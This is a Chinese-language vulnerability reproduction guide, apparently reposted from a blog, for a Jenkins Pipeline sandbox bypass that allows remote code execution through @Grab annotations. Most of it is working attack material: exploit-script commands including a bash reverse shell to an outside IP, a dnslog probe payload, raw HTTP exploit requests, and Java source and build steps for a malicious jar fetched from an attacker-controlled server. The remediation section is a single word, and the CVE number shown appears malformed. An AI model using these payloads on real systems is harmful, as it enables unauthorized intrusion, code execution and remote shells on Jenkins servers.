一、簡介
擁有Overall/Read 權限的用戶可以繞過沙盒保護,在jenkins可以執(zhí)行任意代碼。此漏洞需要一個賬號密碼和一個存在的job。
Jenkins的pipeline主要是通過一個配置文件或者job里面的pipeline腳本配置來設定每個job的步驟. pipeline定義了幾乎所有要用到的流程, 比如執(zhí)行shell, 存檔, 生成測試報告, 發(fā)布報告等。Pipeline使開發(fā)者可以方便的去撰寫一些構建腳本以完成自動化的編譯、測試、發(fā)布,其中文名稱是流水線(工作流),幫助開發(fā)者精心地組織一個可以長期運行在多個節(jié)點上的任務。
為了檢查使用者撰寫的Pipeline Script有沒有語法上的錯誤,Jenkins提供了一個界面給使用者檢查自己的Pipeline腳本。通過將抽象語法樹(AST,Abstract Syntax Tree)轉換注釋(如@Grab)應用于源代碼單元,可以在腳本編譯階段繞過腳本安全沙箱保護,導致具有Overall/Read權限或能控制SCM中jenkinsfile或沙盒Pipeline共享庫內(nèi)容的用戶繞過沙盒保護,并在Jenkins服務器上執(zhí)行任意代碼。
利用轉換注釋@Grab、@GrabResolover可以寫入惡意的Jar文件到jenkins服務器,由于Pipeline是基于Groovy語法的,因此Jenkins使用了GroovyClassLoader.parseClass()來檢查Pipeline腳本語法的正確性,最終導致在編譯階段執(zhí)行了寫入到Jenkins服務器的惡意Jar文件。
二、影響版本
Pipeline: Declarative 插件 <= 1.3.4
Pipeline: Groovy 插 件 <= 2.61
Script Security 插 件 <= 1.49
三、復現(xiàn)
工具
vulfocus沒有提供賬號密碼,所以以下是在看別人復現(xiàn)的思路
登錄之后,創(chuàng)建一個job
執(zhí)行下面的語句利用
python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"
反彈shell:
python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/192.168.0.102/12345 0>&1"
不使用工具
驗證是否存在漏洞,利用dnslog,看目標是否請求了該地址
payload
@GrabConfig(disableChecksums=true)
@GrabResolver(name='test', root='http://9mdvs1.dnslog.cn')
@Grab(group='test.sec', module='test', version='1')
import Payload;
請求包
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27test%27,%20root=%27http://kv0bn5.dnslog.cn%27)%0A@Grab(group=%27test.sec%27,%20module=%27test%27,%20version=%271%27)%0Aimport%20Payload; HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
查看dnslog記錄:
利用該漏洞命令執(zhí)行
1.創(chuàng)建一個java文件,保存為jkrce.java代碼如下:
public class jkrce {
public jkrce() {
try {
String payload = "touch /tmp/test11111";
String[] cmds = { "/bin/bash", "-c", payload };
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
}
}
}
2.創(chuàng)建文件夾META-INF/serverices/,編譯并寫jkrce類到META-INF/serverices/org.codehaus.groovy.plugins.Runners里,如下:
javac jkrce.java
mkdir -p META-INF/services/
echo jkrce > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf jenkins-1.jar ./
3.在公網(wǎng)web服務器目錄里,創(chuàng)建路徑/tools/jenkins/1/ 這個路徑要與下一步中的路徑一致,并將上一步生成的jar文件放到該目錄下
mkdir /tools/jenkins/1/
4.發(fā)送請求,數(shù)據(jù)包如下,xxx.xxx.xxx.xxx替換成公網(wǎng)地址即可:
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,root=%27http://xxx.xxx.xxx.xxx/%27)%0a@Grab(group=%27tools%27,module=%27jenkins%27,version=%271%27)%0aimport%20jkrce; HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
文章來源:http://www.zghlxwxcb.cn/news/detail-570333.html
四、修復
更新文章來源地址http://www.zghlxwxcb.cn/news/detail-570333.html
到了這里,關于[漏洞復現(xiàn)] jenkins 遠程代碼執(zhí)行 (CVE-2019-100300)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!